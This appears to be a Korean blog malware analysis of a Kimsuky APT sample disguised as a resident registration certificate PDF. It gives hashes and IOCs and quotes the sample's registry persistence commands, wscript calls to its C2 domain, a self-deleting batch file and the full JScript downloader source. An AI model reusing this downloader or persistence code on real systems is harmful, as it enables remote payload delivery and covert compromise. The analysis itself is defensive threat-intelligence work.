김수키(kimsuky) 조직, 주민등록등본 파일로 둔갑한 악성코드 분석


Malware Analysis

Description

지난 2013년 카스퍼스키랩을 통해 처음 명명된 ‘김수키(Kimsuky)’ 오퍼레이션은 현재까지도 새로운 방식으로 진화를 거듭하며 한국을 타킷으로 한 APT 공격을 지속하고 있다. 김수키 조직은 북한 정부의 지원을 받고 있는 해킹조직으로 알려져 있다.

Filename : 주민등록등본.pdf(다수 공백 포함).scr

  • MD5 : 20add5eb5fbe527a8b6090a08e7636a6
  • SHA1 : 347d2339fd27606df7b4f659a122c453560a44cb
  • SHA256 : 4942433b92198ed6f4cf5890fd4a7c56f0e6bd79dec3112844a5a25e25425b1b
  • Filesize : 1.03 MB (1081856 bytes)
  • Detection (Virustotal 46/71)
  • ALYac : Trojan.Dropper.1081856K
  • AhnLab-V3 : Backdoor/Win32.Kimsuky.C3980661

Analysis

  • PDF 문서로 위장된 아이콘을 사용하며, 파일 내부 실제로 보여지는 등본이미지가 포함된 것을 확인할 수 있다.
  • 실제 화면보호기(SCR) 확장자를 통해 EXE 실행파일과 동일하게 실햄됨
[그림1] 파일 내부 확인(TIF 이미지 위, DLL 실행파일 아래)
[그림2] 악성파일 실행 시 보여지는 주민등록등본 이미지


Process flow

[그림3] process flow


rundll32.exe

cmd /c reg add "hkcu\Software\Microfost\Windows\CurrentVersion\Run" \v "IEAutoUpdate" \f \t REG_SZ \d "C:\Windows\system32\regsvr32.exe /s /n \"C:\Users\username\AppData\Roaming\Microfost\Internet Explorer\AutoUpdate\update.dll\"

cmd.exe

cmd \c C:\Users\username\AppData\Local|Temp\rns.bat"

cmd.exe

cmd /c wscript.exe "C:\Users\username\AppData\Local\Temp\EEB7.tmp.JS"
"http://mernberinfo.tech/wp-data/?m=hitomi&p=02004c4f4f50"
"C:\Users\username\AppData\Roaming\Microfost\Internet Explorer\AutoUpdate\Database\02004c4f4f50_2020-02-07_14-14-48-518"
"(null)" "(null)"

wscript.exe

wscript.exe "C:\Users\username\AppData\Local\Temp\EEB7.tmp.JS"
"http://mernberinfo.tech/wp-data/?m=dunan&p=02004c4f4f50&v=win6.1.0-sp1-x64"
"(null)""(null)""(null)" 

[그림4] wscript.exe 프로세스 command line 확인


추가 파일 생성

  • 파일명 : rns.bat
  • path : C:\Users\username\AppData\Local\Temp\rns.bat
    :Repeat1
    del "C:\Users\username\Desktop\주민등록등본.pdf(다수 공백 포함).scr"
    if exist "C:\Users\username\Desktop\주민등록등본.pdf(다수 공백 포함).scr" goto Repeat1
    del "C:\Users\username\AppData\Local\Temp\rns.bat"
    


  • 파일명 : EEB7.tmp.JS
  • path : C:\Users\username\AppData\Local\Temp\EEB7.tmp.JS
    fso=WScript.CreatObject("Scripting.FileSystemObject");
    function func_download(uri,local_path) {
     rq=new ActiveXObject("MSXML2.ServerXMLHTTP");
     rq.open("get",uri,false);
     rq.send();
     if(rq.status==200) {
     	local_path_tmp=local_path+".tmp";
         if(fso.FileExists(local_path_tmp)) fso.DeleteFile(local_path_tmp);
         sl=new ActiveXObject('ADODB.Stream');
         sl.Open();
         sl.Type=1;
         sl.Write(rq.responseBody);
         sl.Position=0;
         sl.SaveToFile(local_path_tmp);
         sl.Close();
         if(fso.FileExists(local_path)) fso.DeleteFile(local_path);
         fso.MoveFile(local_path_tmp,local_path);
         return true;
     }
     return false;
    }
    try {
     func_download(WScript.Arguments(0), WScript.Arguments(1));
     } catch(e){} finally{
     	fso.DeleteFile(WScript.ScriptFullName);
     }
    
[그림5] %temp% 경로 아래 tmp 파일은 C2 Server 의 response 값을 저장


  • 파일명 : Hero.dll
  • path : C:\Users\username\AppData\Roaming\Microfost\Internet Explorer\AutoUpdate\update.dll
  • SHA256 : 9e004a659e8cb6236ac56671e4afa4b8fbb6f394807aa3decf6e268e17359ec6

[그림6] Hero.dll 실행 코드


시스템 정보 수집

  • network adapter, Hdd, system 정보 수집
[그림7] system 정보 수집 코드


##네트워크 연결

  • Domain : mernberinfo.tech, IP : 213.190.6.159[US] 로 해당 Host 에 대한 정보 전송 확인
  • 전송 정보 : Mac address, Os version
[그림8] 네트워크 연결을 통한 정보 전송 화면


기타 행위

  • 자동 시작 Registry 등록
  • Path : HKCU\Software\Microfost\Windows\CurrentVersion\Run
  • IEAutoUpdate=C:\Windows\system32\regsvr32.exe /s /n “C:\Users\username\AppData\Roamming\Microfost\Internet Explorer\AutoUpdate\update.dll”
[그림9] Windows 자동 실행 등록


// Wrap the images in links
highresLinks: true,
  
// Asign a common rel attribute
rel: 'print-gallery',

onInit: function(){},

onComplete: function(){
    // Show the grid after it renders
    $('.photoset-grid-custom').attr('style', '');
} }); </script>